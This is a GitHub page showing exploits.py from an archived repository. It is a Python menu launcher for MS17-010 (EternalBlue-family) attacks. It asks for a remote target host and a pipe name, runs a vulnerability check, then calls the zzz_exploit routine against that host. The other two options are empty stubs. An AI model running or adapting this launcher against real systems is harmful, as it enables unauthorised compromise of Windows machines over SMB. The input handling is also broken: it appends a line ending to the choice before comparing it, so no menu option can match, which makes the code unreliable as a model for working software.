This repository has been archived by the owner on May 31, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 35
/
exploits.py
71 lines (63 loc) · 1.77 KB
/
exploits.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import MS17_010
def listExploits():
l = ["zzz_exploit","eternalblue_exploit7","eternalblue_exploit8"]
print("Exploits: \n")
for e in l:
print(e)
print("")
while True:
try:
message = input("EXP").split("\n")[0]
# end shell mode
if message == "exit":
break
message = message + "\r\n"
if len(message) != 0:
if message in l:
# No valid inputs = 4
value = 4
if message == "zzz_exploit":
value = Ezzz_exploit()
if message == "eternalblue_exploit7":
value = Eeternalblue_exploit7()
if message == "eternalblue_exploit8":
value = Eeternalblue_exploit8()
if value == 1:
return 1
else:
continue
except KeyboardInterrupt:
print("KeyboardInterrupt")
return
except:
# todo - errors
print("Error at listExploits()")
return -1
"""
1 = OK
2 = NOPE
3 = Error
"""
def Ezzz_exploit():
print("* Required")
print("")
RHOST = input("*RHOST").split("\n")[0]
PIPE_NAME = input("PIPE_NAME").split("\n")[0]
try:
if len(PIPE_NAME) < 2:
PIPE_NAME = ""
print("Checking ...")
if MS17_010.checker.check(RHOST):
print("Exploiting ...")
MS17_010.zzz_exploit.exploit(RHOST,PIPE_NAME)
return 1
else:
return 2
except:
return 3
def Eeternalblue_exploit7():
print("Soon ..")
return 2
def Eeternalblue_exploit8():
print("Soon ..")
return 2